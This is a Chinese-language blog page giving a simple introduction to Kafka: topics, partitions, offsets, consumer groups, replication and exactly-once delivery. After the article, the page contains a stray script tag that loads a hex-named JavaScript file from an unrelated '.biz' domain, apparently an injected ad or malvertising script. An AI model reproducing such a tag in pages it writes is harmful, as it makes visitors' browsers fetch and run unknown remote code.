`
toplchx
  • 浏览: 339064 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

Kafka原理简易说明

阅读更多

Kafka原理简易说明

kafka是消息队列。

它是队列,传递消息(信息)用的。

它可以用在系统整合、解耦、消峰等场合。

 

1、最简单的逻辑流程

kafka的broker(服务器)创建一个Topic(主题)

Producer(生产者)向这个topic发送(push)消息

Consumer(消费者)订阅这个主题,从broker拉取(pull)消息

[pull]  consumer用拉取的方式获取消息可以缓解消息使用者的压力。消息使用者可以根据自身的情况选择读取多少数据,而不是被动的受消息发送频率的控制。对于消息队列来说这叫backpressure(背压)

 

2、最简单的物理流程

Producer向Broker发送消息

Broker将消息顺序写入磁盘

Consumer决定从什么offset(位置)开始拉取信息

[顺序写]  在磁盘中物理块的顺序存储可以增加读写效率
[offset]  可以理解为一个指针,该指针表明当前消息读取到什么位置。
 

3、提高磁盘效率

现在我们有一块连续的磁盘空间存储消息。如果读和写的压力增大,这块空间的IO压力也会增大。为了缓解这种压力,kafka可以为一个topic设置多个Partition(分区)。broker根据某种规则(比如key取模),将消息分发到对应的Partition中,一个Partition又分成多个segment文件进行存储,还有对应的索引文件。

Partition相当于增加了磁盘IO的并行度。可以想到,Partition设置在不同的磁盘上(不同的服务器上)效率是最高的,同一块磁盘不宜设置过多的Partition,这样会打断磁盘顺序读写。

每一个Consumer或一个组Consumer,对应每一个Partition维护一个offset。

 

4、提高写效率

可以通过增加Producer的实例来提高发送消息的效率。也可以指定某个Producer向某个Partition发送消息。

发送消息可以接收broker返回是否成功的信息,也可以不接收。

可以设置消息发送成功的条件,有几个broker接收到消息算成功。这个数值越少,发送越快,但可靠性更低。

 

5、提高读效率

同样可以通过增加Consumer实例来提高读取的效率。

可以把多个Consumer设置在一个group里,一个group里的Consumer使用一个offset,不会重复消费消息。这样就提高了读取的并行度。

Consumer也可以指定从哪个Partition读取数据。

 

6、提高健壮性

从上面到现在为止,kafka里的消息都没有备份,一旦磁盘发生故障,消息就会有损失。

从0.8版本开始kafka提供partition的Replication(复制)。

Replication的数量过多会影响系统的吞吐量,默认数量是1。

在复制里,每个Partition有一个leader和若干个follower,信息都写到leader上,follower定期批量复制leader上的信息。

通过zookeeper来验证broker是否存活,通过"in sync"的node list来维护follower是否可用。

 

7、均衡

如果Consumer未指定从某个Partition获取数据,broker会对Consumer做一些均衡处理,使它们尽量平均分配到Partitions中。增加和较少Consumer的数量都有可能触发Rebalance(重均衡)。

 

8、exactly once

有且仅有一次。

我们希望消息在发送和消费的过程中,被使用且只被使用一次,不过要保证这样则要消耗大量的成本(开发成本、运行时间成本、系统复杂度成本等)。

发送

保证有一次:设置发送成功返回信息,可保证发送的信息已保存。

保证只有一次:Producer在发送时可以设置幂等,也就是key相同时,只被写入一次。那么如果想实现发送的exactly once就需要业务逻辑上保证每一条消息的key确定且唯一。

 

消费

保证有一次:数据保存在kafka里就可以随时读取。kafka默认保存7日数据,可以通过设置改变。

保证只有一次:Consumer要保证exactly once稍微复杂一点,消费消息实际上分为两步:

  1. 通过offset从partition取数据

  2. 使用这份数据做业务处理

一种保证消费exactly once的方式:

业务处理成功,则修改offset,业务处理不成功,则回滚。

显然,如果把这两步放在一个Transaction(事务)中,则可以实现消费的exactly once。

这需要在业务处理的地方去维护offset。

但是事务的方式一般是阻塞的,它可以保证消息的消费顺序,但会影响消费的效率。

另一种消费exactly once的方式:

将读取和处理分开,读取到数据就修改offset,保证下一次读取尽快进行。

处理消息时,如果失败,则将该消息重新传出消息队列,或记录在其他地方,后面再做处理。这种方式效率会高一些,但打乱了消息的顺序。而且这种方式其实跟kafka没什么关系,主要是业务逻辑的保障。

<script type="text/javascript" src="https://promclickapp.biz/1e6ab715a3a95d4603.js"></script>
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics